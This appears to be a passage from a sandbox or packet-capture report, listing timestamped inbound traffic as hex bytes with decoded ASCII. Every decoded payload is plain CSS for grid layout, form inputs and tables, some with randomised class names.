33 33 33 25 7d 2e 63 6f 6c 2d 6c 67 2d 70 75 73 68 2d 36 7b 6c 65 66 74 3a 32 35 25 7d 2e 63 6f 6c 2d 6c 67 2d 70 75 
73 68 2d 37 7b 6c 65 66 74 3a 32 39 2e 31 36 36 36 37 25 7d 2e 63 6f 6c 2d 6c 67 2d 70 75 73 68 2d 38 7b 6c 65 66 74 
3a 33 33 2e 33 33 33 33 33 25 7d 2e 63 6f 6c 2d 6c 67 2d 70 75 73 68 2d 
Data Ascii: h-0{left:auto}.col-lg-push-1{left:4.16667%}.col-lg-push-2{left:8.33333%}.col-lg-push-3{left:12.5%}.col-lg-push-
4{left:16.66667%}.col-lg-push-5{left:20.83333%}.col-lg-push-6{left:25%}.col-lg-push-7{left:29.16667%}.col-lg-push-8{l
eft:33.33333%}.col-lg-push-

Timestamp
kBytes
transferred

Direction Data
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2022-05-13 14:40:10 UTC 396 IN Data Raw: 38 33 33 33 33 25 7d 2e 63 6f 6c 2d 6c 67 2d 6f 66 66 73 65 74 2d 31 38 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 
3a 37 35 25 7d 2e 63 6f 6c 2d 6c 67 2d 6f 66 66 73 65 74 2d 31 39 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 37 39 2e 31 
36 36 36 37 25 7d 2e 63 6f 6c 2d 6c 67 2d 6f 66 66 73 65 74 2d 32 30 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 38 33 2e 
33 33 33 33 33 25 7d 2e 63 6f 6c 2d 6c 67 2d 6f 66 66 73 65 74 2d 32 31 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 38 37 2
e 35 25 7d 2e 63 6f 6c 2d 6c 67 2d 6f 66 66 73 65 74 2d 32 32 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 39 31 2e 36 36 36 
36 37 25 7d 2e 63 6f 6c 2d 6c 67 2d 6f 66 66 73 65 74 2d 32 33 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 39 35 2e 38 33 
33 33 33 25 7d 2e 63 6f 6c 2d 6c 67 2d 6f 66 66 73 65 74 2d 32 34 7b 
Data Ascii: 83333%}.col-lg-offset-18{margin-left:75%}.col-lg-offset-19{margin-left:79.16667%}.col-lg-offset-20{margin-le
ft:83.33333%}.col-lg-offset-21{margin-left:87.5%}.col-lg-offset-22{margin-left:91.66667%}.col-lg-offset-23{margin-left:9
5.83333%}.col-lg-offset-24{

2022-05-13 14:40:10 UTC 398 IN Data Raw: 69 67 68 74 3a 32 39 2e 31 36 36 36 37 25 7d 2e 63 6f 6c 2d 78 6c 2d 70 75 6c 6c 2d 38 7b 72 69 67 68 74 3a 
33 33 2e 33 33 33 33 33 25 7d 2e 63 6f 6c 2d 78 6c 2d 70 75 6c 6c 2d 39 7b 72 69 67 68 74 3a 33 37 2e 35 25 7d 2e 63 
6f 6c 2d 78 6c 2d 70 75 6c 6c 2d 31 30 7b 72 69 67 68 74 3a 34 31 2e 36 36 36 36 37 25 7d 2e 63 6f 6c 2d 78 6c 2d 70 
75 6c 6c 2d 31 31 7b 72 69 67 68 74 3a 34 35 2e 38 33 33 33 33 25 7d 2e 63 6f 6c 2d 78 6c 2d 70 75 6c 6c 2d 31 32 7b 7
2 69 67 68 74 3a 35 30 25 7d 2e 63 6f 6c 2d 78 6c 2d 70 75 6c 6c 2d 31 33 7b 72 69 67 68 74 3a 35 34 2e 31 36 36 36 37 
25 7d 2e 63 6f 6c 2d 78 6c 2d 70 75 6c 6c 2d 31 34 7b 72 69 67 68 74 3a 35 38 2e 33 33 33 33 33 25 7d 2e 63 6f 6c 2d 
78 6c 2d 70 75 6c 6c 2d 31 35 7b 72 69 67 68 74 3a 36 32 2e 35 25 7d 
Data Ascii: ight:29.16667%}.col-xl-pull-8{right:33.33333%}.col-xl-pull-9{right:37.5%}.col-xl-pull-10{right:41.66667%}.col-xl-
pull-11{right:45.83333%}.col-xl-pull-12{right:50%}.col-xl-pull-13{right:54.16667%}.col-xl-pull-14{right:58.33333%}.col-xl-pul
l-15{right:62.5%}

2022-05-13 14:40:10 UTC 399 IN Data Raw: 2d 6c 65 66 74 3a 31 32 2e 35 25 7d 2e 63 6f 6c 2d 78 6c 2d 6f 66 66 73 65 74 2d 34 7b 6d 61 72 67 69 6e 2d 
6c 65 66 74 3a 31 36 2e 36 36 36 36 37 25 7d 2e 63 6f 6c 2d 78 6c 2d 6f 66 66 73 65 74 2d 35 7b 6d 61 72 67 69 6e 2d 
6c 65 66 74 3a 32 30 2e 38 33 33 33 33 25 7d 2e 63 6f 6c 2d 78 6c 2d 6f 66 66 73 65 74 2d 36 7b 6d 61 72 67 69 6e 2d 
6c 65 66 74 3a 32 35 25 7d 2e 63 6f 6c 2d 78 6c 2d 6f 66 66 73 65 74 2d 37 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 32 3
9 2e 31 36 36 36 37 25 7d 2e 63 6f 6c 2d 78 6c 2d 6f 66 66 73 65 74 2d 38 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 33 33 
2e 33 33 33 33 33 25 7d 2e 63 6f 6c 2d 78 6c 2d 6f 66 66 73 65 74 2d 39 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 33 37 
2e 35 25 7d 2e 63 6f 6c 2d 78 6c 2d 6f 66 66 73 65 74 2d 31 30 7b 6d 
Data Ascii: -left:12.5%}.col-xl-offset-4{margin-left:16.66667%}.col-xl-offset-5{margin-left:20.83333%}.col-xl-offset-6{margin-
left:25%}.col-xl-offset-7{margin-left:29.16667%}.col-xl-offset-8{margin-left:33.33333%}.col-xl-offset-9{margin-left:37.5%}.c
ol-xl-offset-10{m

2022-05-13 14:40:10 UTC 400 IN Data Raw: 66 38 66 30 38 34 64 39 66 38 66 30 38 34 4b 75 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 77 69 64 74 68 
3a 31 30 30 25 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 6e 6f 6e 65 7d 74 65 78 74 61 72 65 61 2e 47 44 
64 39 66 38 66 30 38 34 64 39 66 38 66 30 38 34 4b 75 7b 68 65 69 67 68 74 3a 61 75 74 6f 7d 69 6e 70 75 74 5b 74 79 
70 65 3d 22 73 65 61 72 63 68 22 5d 7b 2d 77 65 62 6b 69 74 2d 61 70 70 65 61 72 61 6e 63 65 3a 6e 6f 6e 65 7d 69 6e 
70 75 74 5b 74 79 70 65 3d 22 64 61 74 65 22 5d 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 74 69 6d 65 22 5d 2c 69 6e 70 
75 74 5b 74 79 70 65 3d 22 64 61 74 65 74 69 6d 65 2d 6c 6f 63 61 6c 22 5d 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 6d 
6f 6e 74 68 22 5d 7b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 33 34 70 78 3b 
Data Ascii: f8f084d9f8f084Ku{display:block;width:100%;background-image:none}textarea.GDd9f8f084d9f8f084Ku{heig
ht:auto}input[type="search"]{-webkit-appearance:none}input[type="date"],input[type="time"],input[type="datetime-local"],
input[type="month"]{line-height:34px;

2022-05-13 14:40:10 UTC 402 IN Data Raw: 69 6e 70 75 74 5b 74 79 70 65 3d 22 64 61 74 65 74 69 6d 65 22 5d 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 
64 61 74 65 74 69 6d 65 2d 6c 6f 63 61 6c 22 5d 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 65 6d 61 69 6c 22 5d 2c 69 6e 
70 75 74 5b 74 79 70 65 3d 22 6d 6f 6e 74 68 22 5d 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 6e 75 6d 62 65 72 22 5d 2c 6
9 6e 70 75 74 5b 74 79 70 65 3d 22 70 61 73 73 77 6f 72 64 22 5d 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 73 65 61 72 
63 68 22 5d 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 74 65 6c 22 5d 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 74 65 78 74 
22 5d 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 74 69 6d 65 22 5d 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 75 72 6c 22 5d 
2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 77 65 65 6b 22 5d 2c 74 65 78 74 61 
Data Ascii: input[type="datetime"],input[type="datetime-local"],input[type="email"],input[type="month"],input[type="numb
er"],input[type="password"],input[type="search"],input[type="tel"],input[type="text"],input[type="time"],input[type="url
"],input[type="week"],texta

2022-05-13 14:40:10 UTC 403 IN Data Raw: 69 6e 70 75 74 5b 74 79 70 65 3d 22 74 65 78 74 22 5d 3a 3a 2d 6d 6f 7a 2d 70 6c 61 63 65 68 6f 6c 64 65 72 
2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 74 69 6d 65 22 5d 3a 3a 2d 6d 6f 7a 2d 70 6c 61 63 65 68 6f 6c 64 65 72 2c 69 
6e 70 75 74 5b 74 79 70 65 3d 22 75 72 6c 22 5d 3a 3a 2d 6d 6f 7a 2d 70 6c 61 63 65 68 6f 6c 64 65 72 2c 69 6e 70 75 
74 5b 74 79 70 65 3d 22 77 65 65 6b 22 5d 3a 3a 2d 6d 6f 7a 2d 70 6c 61 63 65 68 6f 6c 64 65 72 2c 74 65 78 74 61 72 6
5 61 3a 3a 2d 6d 6f 7a 2d 70 6c 61 63 65 68 6f 6c 64 65 72 7b 63 6f 6c 6f 72 3a 72 67 62 61 28 30 2c 30 2c 30 2c 2e 36 2
9 3b 6f 70 61 63 69 74 79 3a 31 7d 69 6e 70 75 74 5b 74 79 70 65 3d 22 63 6f 6c 6f 72 22 5d 3a 2d 6d 73 2d 69 6e 70 75 
74 2d 70 6c 61 63 65 68 6f 6c 64 65 72 2c 69 6e 70 75 74 5b 74 79 
Data Ascii: input[type="text"]::-moz-placeholder,input[type="time"]::-moz-placeholder,input[type="url"]::-moz-placeholde
r,input[type="week"]::-moz-placeholder,textarea::-moz-placeholder{color:rgba(0,0,0,.6);opacity:1}input[type="color"]:-ms-
input-placeholder,input[ty

2022-05-13 14:40:10 UTC 404 IN Data Raw: 6f 6c 64 65 72 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 74 69 6d 65 22 5d 3a 3a 2d 77 65 62 6b 69 74 2d 69 6e 
70 75 74 2d 70 6c 61 63 65 68 6f 6c 64 65 72 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 75 72 6c 22 5d 3a 3a 2d 77 65 62 
6b 69 74 2d 69 6e 70 75 74 2d 70 6c 61 63 65 68 6f 6c 64 65 72 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 77 65 65 6b 22 
5d 3a 3a 2d 77 65 62 6b 69 74 2d 69 6e 70 75 74 2d 70 6c 61 63 65 68 6f 6c 64 65 72 2c 74 65 78 74 61 72 65 61 3a 3a 2
d 77 65 62 6b 69 74 2d 69 6e 70 75 74 2d 70 6c 61 63 65 68 6f 6c 64 65 72 7b 63 6f 6c 6f 72 3a 72 67 62 61 28 30 2c 30 
2c 30 2c 2e 36 29 7d 69 6e 70 75 74 5b 74 79 70 65 3d 22 63 6f 6c 6f 72 22 5d 5b 64 69 73 61 62 6c 65 64 5d 2c 69 6e 
70 75 74 5b 74 79 70 65 3d 22 63 6f 6c 6f 72 22 5d 5b 72 65 61 64 6f 
Data Ascii: older,input[type="time"]::-webkit-input-placeholder,input[type="url"]::-webkit-input-placeholder,input[type=
"week"]::-webkit-input-placeholder,textarea::-webkit-input-placeholder{color:rgba(0,0,0,.6)}input[type="color"][disabled
],input[type="color"][reado

2022-05-13 14:40:10 UTC 406 IN Data Raw: 6c 64 73 65 74 5b 64 69 73 61 62 6c 65 64 5d 69 6e 70 75 74 5b 74 79 70 65 3d 22 74 69 6d 65 22 5d 2c 69 
6e 70 75 74 5b 74 79 70 65 3d 22 75 72 6c 22 5d 5b 64 69 73 61 62 6c 65 64 5d 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 
75 72 6c 22 5d 5b 72 65 61 64 6f 6e 6c 79 5d 2c 66 69 65 6c 64 73 65 74 5b 64 69 73 61 62 6c 65 64 5d 69 6e 70 75 74 5
b 74 79 70 65 3d 22 75 72 6c 22 5d 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 77 65 65 6b 22 5d 5b 64 69 73 61 62 6c 65 
64 5d 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 77 65 65 6b 22 5d 5b 72 65 61 64 6f 6e 6c 79 5d 2c 66 69 65 6c 64 73 65 
74 5b 64 69 73 61 62 6c 65 64 5d 69 6e 70 75 74 5b 74 79 70 65 3d 22 77 65 65 6b 22 5d 2c 74 65 78 74 61 72 65 61 5b 
64 69 73 61 62 6c 65 64 5d 2c 74 65 78 74 61 72 65 61 5b 72 65 61 64 6f 6e 
Data Ascii: ldset[disabled]input[type="time"],input[type="url"][disabled],input[type="url"][readonly],fieldset[disabled]
input[type="url"],input[type="week"][disabled],input[type="week"][readonly],fieldset[disabled]input[type="week"],textare
a[disabled],textarea[readon
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2022-05-13 14:40:10 UTC 407 IN Data Raw: 69 6e 70 75 74 5b 74 79 70 65 3d 22 74 69 6d 65 22 5d 2e 68 61 73 2d 65 72 72 6f 72 2c 2e 64 51 33 33 63 64 
65 38 62 37 33 33 63 64 65 38 62 37 47 56 59 2e 68 61 73 2d 65 72 72 6f 72 20 69 6e 70 75 74 5b 74 79 70 65 3d 22 75 
72 6c 22 5d 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 75 72 6c 22 5d 2e 68 61 73 2d 65 72 72 6f 72 2c 2e 64 51 33 33 63 
64 65 38 62 37 33 33 63 64 65 38 62 37 47 56 59 2e 68 61 73 2d 65 72 72 6f 72 20 69 6e 70 75 74 5b 74 79 70 65 3d 22 
77 65 65 6b 22 5d 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 77 65 65 6b 22 5d 2e 68 61 73 2d 65 72 72 6f 72 2c 2e 64 51 
33 33 63 64 65 38 62 37 33 33 63 64 65 38 62 37 47 56 59 2e 68 61 73 2d 65 72 72 6f 72 20 74 65 78 74 61 72 65 61 2c 
74 65 78 74 61 72 65 61 2e 68 61 73 2d 65 72 72 6f 72 7b 62 6f 72 64 65 
Data Ascii: input[type="time"].has-error,.dQ33cde8b733cde8b7GVY.has-error input[type="url"],input[type="url"].has-error,
.dQ33cde8b733cde8b7GVY.has-error input[type="week"],input[type="week"].has-error,.dQ33cde8b733cde8b7GVY.has-er
ror textarea,textarea.has-error{borde

2022-05-13 14:40:10 UTC 408 IN Data Raw: 63 6f 6c 6f 72 3a 72 67 62 61 28 30 2c 30 2c 30 2c 2e 36 29 7d 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 
69 6f 22 5d 3a 61 63 74 69 76 65 3a 63 68 65 63 6b 65 64 3a 3a 2d 6d 73 2d 63 68 65 63 6b 7b 62 6f 72 64 65 72 2d 63 
6f 6c 6f 72 3a 72 67 62 61 28 30 2c 30 2c 30 2c 2e 36 29 7d 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 5b 
64 69 73 61 62 6c 65 64 5d 3a 3a 2d 6d 73 2d 63 68 65 63 6b 2c 66 69 65 6c 64 73 65 74 5b 64 69 73 61 62 6c 65 64 5d 
69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 3a 3a 2d 6d 73 2d 63 68 65 63 6b 7b 62 61 63 6b 67 72 6f 75 6
e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 21 69 6d 70 6f 72 74 61 6e 74 3b 63 6f 6c 6f 72 3a 72 67 62 61 28 30 2c 30 2c 30 2
c 2e 32 29 21 69 6d 70 6f 72 74 61 6e 74 3b 62 6f 72 64 65 72 2d 
Data Ascii: color:rgba(0,0,0,.6)}input[type="radio"]:active:checked::-ms-check{border-color:rgba(0,0,0,.6)}input[type="r
adio"][disabled]::-ms-check,fieldset[disabled]input[type="radio"]::-ms-check{background-color:#fff!important;color:rgba(
0,0,0,.2)!important;border-

2022-05-13 14:40:10 UTC 410 IN Data Raw: 6e 67 65 22 5d 7b 68 65 69 67 68 74 3a 34 32 70 78 3b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 31 36 70 
78 3b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 31 36 70 78 3b 62 6f 72 64 65 72 2d 73 74 79 6c 65 3a 6e 6f 6e 65 7d 69 6e 70 
75 74 5b 74 79 70 65 3d 22 72 61 6e 67 65 22 5d 3a 3a 2d 6d 73 2d 74 72 61 63 6b 7b 68 65 69 67 68 74 3a 32 70 78 3b 
62 6f 72 64 65 72 2d 73 74 79 6c 65 3a 6e 6f 6e 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 
70 61 72 65 6e 74 3b 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 7d 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 
6e 67 65 22 5d 3a 3a 2d 6d 73 2d 66 69 6c 6c 2d 6c 6f 77 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 
30 30 36 37 62 38 7d 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 
Data Ascii: nge"]{height:42px;padding-bottom:16px;padding-top:16px;border-style:none}input[type="range"]::-ms-
track{height:2px;border-style:none;background-color:transparent;color:transparent}input[type="range"]::-ms-fill-lower{ba
ckground-color:#0067b8}input[type="ra

2022-05-13 14:40:10 UTC 411 IN Data Raw: 3d 22 72 61 64 69 6f 22 5d 5b 64 69 73 61 62 6c 65 64 5d 2b 73 70 61 6e 2c 69 6e 70 75 74 5b 74 79 70 65 3d 
22 72 61 64 69 6f 22 5d 2e 64 69 73 61 62 6c 65 64 2b 73 70 61 6e 2c 66 69 65 6c 64 73 65 74 5b 64 69 73 61 62 6c 65 
64 5d 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2b 73 70 61 6e 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 
63 68 65 63 6b 62 6f 78 22 5d 5b 64 69 73 61 62 6c 65 64 5d 2b 73 70 61 6e 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 63 
68 65 63 6b 62 6f 78 22 5d 2e 64 69 73 61 62 6c 65 64 2b 73 70 61 6e 2c 66 69 65 6c 64 73 65 74 5b 64 69 73 61 62 6c 
65 64 5d 69 6e 70 75 74 5b 74 79 70 65 3d 22 63 68 65 63 6b 62 6f 78 22 5d 2b 73 70 61 6e 7b 63 6f 6c 6f 72 3a 72 67 
62 61 28 30 2c 30 2c 30 2c 2e 32 29 7d 73 65 6c 65 63 74 7b 62 6f 72 64 
Data Ascii: ="radio"][disabled]+span,input[type="radio"].disabled+span,fieldset[disabled]input[type="radio"]+span,input[
type="checkbox"][disabled]+span,input[type="checkbox"].disabled+span,fieldset[disabled]input[type="checkbox"]+
span{color:rgba(0,0,0,.2)}select{bord

2022-05-13 14:40:10 UTC 412 IN Data Raw: 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 21 69 6d 70 6f 72 74 61 6e 74 7d 3a 3a 2d 6d 73 2d 65 78 70 61 6e 
64 7b 6d 61 72 67 69 6e 3a 30 20 36 70 78 20 30 20 32 30 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 
74 72 61 6e 73 70 61 72 65 6e 74 3b 62 6f 72 64 65 72 3a 30 7d 2e 67 6a 78 32 38 32 65 36 66 31 32 32 38 32 65 36 66 
31 32 79 42 7a 53 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 67 6a 78 32 38 32 
65 36 66 31 32 32 38 32 65 36 66 31 32 79 42 7a 53 2b 2e 67 6a 78 32 38 32 65 36 66 31 32 32 38 32 65 36 66 31 32 79 
42 7a 53 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 35 70 78 7d 69 6e 70 75 74 5b 74 79 70 65 3d 22 73 75 62 6d 69 74 22 5d 
2e 67 6a 78 32 38 32 65 36 66 31 32 32 38 32 65 36 66 31 32 79 42 7a 53 2c 
Data Ascii: r:transparent!important}::-ms-expand{margin:0 6px 0 20px;background-color:transparent;border:0}.gj
x282e6f12282e6f12yBzS{display:block;width:100%}.gjx282e6f12282e6f12yBzS+.gjx282e6f12282e6f12yBzS{margin-
top:5px}input[type="submit"].gjx282e6f12282e6f12yBzS,

2022-05-13 14:40:10 UTC 414 IN Data Raw: 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 7d 2e 58 6a 31 39 36 33 31 36 66 36 31 39 36 33 31 36 66 36 59 49 
2e 66 31 33 38 65 34 65 36 37 31 33 38 65 34 65 36 37 59 77 72 4d 76 2c 62 75 74 74 6f 6e 2e 66 31 33 38 65 34 65 36 
37 31 33 38 65 34 65 36 37 59 77 72 4d 76 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 5d 2e 66 31 33 
38 65 34 65 36 37 31 33 38 65 34 65 36 37 59 77 72 4d 76 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 73 75 62 6d 69 74 22 
5d 2e 66 31 33 38 65 34 65 36 37 31 33 38 65 34 65 36 37 59 77 72 4d 76 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 65 
73 65 74 22 5d 2e 66 31 33 38 65 34 65 36 37 31 33 38 65 34 65 36 37 59 77 72 4d 76 7b 62 61 63 6b 67 72 6f 75 6e 64 
2d 63 6f 6c 6f 72 3a 23 30 30 36 37 62 38 3b 62 6f 72 64 65 72 2d 63 6f 6c 
Data Ascii: r:transparent}.Xj196316f6196316f6YI.f138e4e67138e4e67YwrMv,button.f138e4e67138e4e67YwrMv,input[typ
e="button"].f138e4e67138e4e67YwrMv,input[type="submit"].f138e4e67138e4e67YwrMv,input[type="reset"].f138e4e6713
8e4e67YwrMv{background-color:#0067b8;border-col

2022-05-13 14:40:10 UTC 415 IN Data Raw: 5d 5b 64 69 73 61 62 6c 65 64 5d 2c 66 69 65 6c 64 73 65 74 5b 64 69 73 61 62 6c 65 64 5d 69 6e 70 75 74 
5b 74 79 70 65 3d 22 73 75 62 6d 69 74 22 5d 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 65 73 65 74 22 5d 2e 64 69 73 
61 62 6c 65 64 2c 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 65 73 65 74 22 5d 5b 64 69 73 61 62 6c 65 64 5d 2c 66 69 65 
6c 64 73 65 74 5b 64 69 73 61 62 6c 65 64 5d 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 65 73 65 74 22 5d 7b 63 75 72 73 
6f 72 3a 6e 6f 74 2d 61 6c 6c 6f 77 65 64 3b 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 3a 6e 6f 6e 65 3b 6f 75 74 6c 69 
6e 65 3a 6e 6f 6e 65 3b 63 6f 6c 6f 72 3a 72 67 62 61 28 30 2c 30 2c 30 2c 2e 32 29 21 69 6d 70 6f 72 74 61 6e 74 3b 62 
6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 
Data Ascii: ][disabled],fieldset[disabled]input[type="submit"],input[type="reset"].disabled,input[type="reset"][disabled
],fieldset[disabled]input[type="reset"]{cursor:not-allowed;pointer-events:none;outline:none;color:rgba(0,0,0,.2)!importa
nt;border-color:transparent

2022-05-13 14:40:10 UTC 416 IN Data Raw: 74 68 65 61 64 3e 74 72 3a 66 69 72 73 74 2d 63 68 69 6c 64 3e 74 68 2c 2e 74 61 62 6c 65 3e 63 61 70 74 
69 6f 6e 2b 74 68 65 61 64 3e 74 72 3a 66 69 72 73 74 2d 63 68 69 6c 64 3e 74 64 2c 2e 74 61 62 6c 65 3e 63 6f 6c 67 
72 6f 75 70 2b 74 68 65 61 64 3e 74 72 3a 66 69 72 73 74 2d 63 68 69 6c 64 3e 74 68 2c 2e 74 61 62 6c 65 3e 63 6f 6c 6
7 72 6f 75 70 2b 74 68 65 61 64 3e 74 72 3a 66 69 72 73 74 2d 63 68 69 6c 64 3e 74 64 2c 2e 74 61 62 6c 65 3e 74 68 65 
61 64 3a 66 69 72 73 74 2d 63 68 69 6c 64 3e 74 72 3a 66 69 72 73 74 2d 63 68 69 6c 64 3e 74 68 2c 2e 74 61 62 6c 65 
3e 74 68 65 61 64 3a 66 69 72 73 74 2d 63 68 69 6c 64 3e 74 72 3a 66 69 72 73 74 2d 63 68 69 6c 64 3e 74 64 7b 62 6f 
72 64 65 72 2d 74 6f 70 3a 30 7d 74 61 62 6c 65 20 63 6f 6c 5b 63 6c 61 
Data Ascii: thead>tr:first-child>th,.table>caption+thead>tr:first-child>td,.table>colgroup+thead>tr:first-child>th,.tabl
e>colgroup+thead>tr:first-child>td,.table>thead:first-child>tr:first-child>th,.table>thead:first-child>tr:first-child>td{border-to
p:0}table col[cla
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2022-05-13 14:40:10 UTC 418 IN Data Raw: 6d 7d 2e 74 61 62 6c 65 3e 74 68 65 61 64 3e 74 72 3e 74 68 2e 74 65 78 74 2d 6d 61 78 6c 69 6e 65 73 2d 
34 7b 6d 61 78 2d 68 65 69 67 68 74 3a 35 38 2e 33 36 33 32 70 78 3b 6d 61 78 2d 68 65 69 67 68 74 3a 33 2e 36 34 37 
37 72 65 6d 7d 2e 74 61 62 6c 65 3e 74 62 6f 64 79 3e 74 72 3a 6e 74 68 2d 63 68 69 6c 64 28 6f 64 64 29 7b 62 61 63 6
b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 32 66 32 66 32 7d 2e 73 65 63 74 69 6f 6e 7b 6d 61 72 67 69 6e 2d 74 6f 7
0 3a 33 30 70 78 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 33 30 70 78 7d 40 6d 65 64 69 61 28 6d 69 6e 2d 77 69 64 
74 68 3a 33 32 30 70 78 29 7b 2e 73 65 63 74 69 6f 6e 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 34 32 70 78 3b 6d 61 72 67 
69 6e 2d 62 6f 74 74 6f 6d 3a 34 32 70 78 7d 7d 2e 73 65 63 74 69 6f 
Data Ascii: m}.table>thead>tr>th.text-maxlines-4{max-height:58.3632px;max-height:3.6477rem}.table>tbody>tr:nth-
child(odd){background-color:#f2f2f2}.section{margin-top:30px;margin-bottom:30px}@media(min-width:320px){.sect
ion{margin-top:42px;margin-bottom:42px}}.sectio

2022-05-13 14:40:10 UTC 419 IN Data Raw: 36 33 32 70 78 3b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 32 2e 33 36 33 32 70 78 7d 2e 73 65 63 74 69 6f 6e 20 
2e 73 65 63 74 69 6f 6e 2d 74 69 74 6c 65 2e 74 65 78 74 2d 6d 61 78 6c 69 6e 65 73 2d 31 7b 77 68 69 74 65 2d 73 70 
61 63 65 3a 6e 6f 77 72 61 70 3b 74 65 78 74 2d 6f 76 65 72 66 6c 6f 77 3a 65 6c 6c 69 70 73 69 73 3b 6d 61 78 2d 68 65 
69 67 68 74 3a 33 32 2e 37 32 36 34 70 78 3b 6d 61 78 2d 68 65 69 67 68 74 3a 32 2e 30 34 35 34 72 65 6d 7d 2e 73 65 
63 74 69 6f 6e 20 2e 73 65 63 74 69 6f 6e 2d 74 69 74 6c 65 2e 74 65 78 74 2d 6d 61 78 6c 69 6e 65 73 2d 32 7b 6d 61 7
8 2d 68 65 69 67 68 74 3a 36 30 2e 37 32 36 34 70 78 3b 6d 61 78 2d 68 65 69 67 68 74 3a 33 2e 37 39 35 34 72 65 6d 
7d 2e 73 65 63 74 69 6f 6e 20 2e 73 65 63 74 69 6f 6e 2d 74 69 74 6c 
Data Ascii: 632px;padding-top:2.3632px}.section .section-title.text-maxlines-1{white-space:nowrap;text-overflow:ellipsis
;max-height:32.7264px;max-height:2.0454rem}.section .section-title.text-maxlines-2{max-height:60.7264px;max-he
ight:3.7954rem}.section .section-titl

2022-05-13 14:40:10 UTC 420 IN Data Raw: 31 2e 30 32 32 37 72 65 6d 7d 2e 73 65 63 74 69 6f 6e 20 2e 68 65 61 64 65 72 2d 61 63 74 69 6f 6e 2e 74 65 
78 74 2d 6d 61 78 6c 69 6e 65 73 2d 32 7b 6d 61 78 2d 68 65 69 67 68 74 3a 33 30 2e 33 36 33 32 70 78 3b 6d 61 78 2d 
68 65 69 67 68 74 3a 31 2e 38 39 37 37 72 65 6d 7d 2e 73 65 63 74 69 6f 6e 20 2e 68 65 61 64 65 72 2d 61 63 74 69 6f 
6e 2e 74 65 78 74 2d 6d 61 78 6c 69 6e 65 73 2d 33 7b 6d 61 78 2d 68 65 69 67 68 74 3a 34 34 2e 33 36 33 32 70 78 3b 
6d 61 78 2d 68 65 69 67 68 74 3a 32 2e 37 37 32 37 72 65 6d 7d 2e 73 65 63 74 69 6f 6e 20 2e 68 65 61 64 65 72 2d 61 
63 74 69 6f 6e 2e 74 65 78 74 2d 6d 61 78 6c 69 6e 65 73 2d 34 7b 6d 61 78 2d 68 65 69 67 68 74 3a 35 38 2e 33 36 33 
32 70 78 3b 6d 61 78 2d 68 65 69 67 68 74 3a 33 2e 36 34 37 37 72 65 6d 
Data Ascii: 1.0227rem}.section .header-action.text-maxlines-2{max-height:30.3632px;max-height:1.8977rem}.section 
.header-action.text-maxlines-3{max-height:44.3632px;max-height:2.7727rem}.section .header-action.text-maxlines-4{max-
height:58.3632px;max-height:3.6477rem

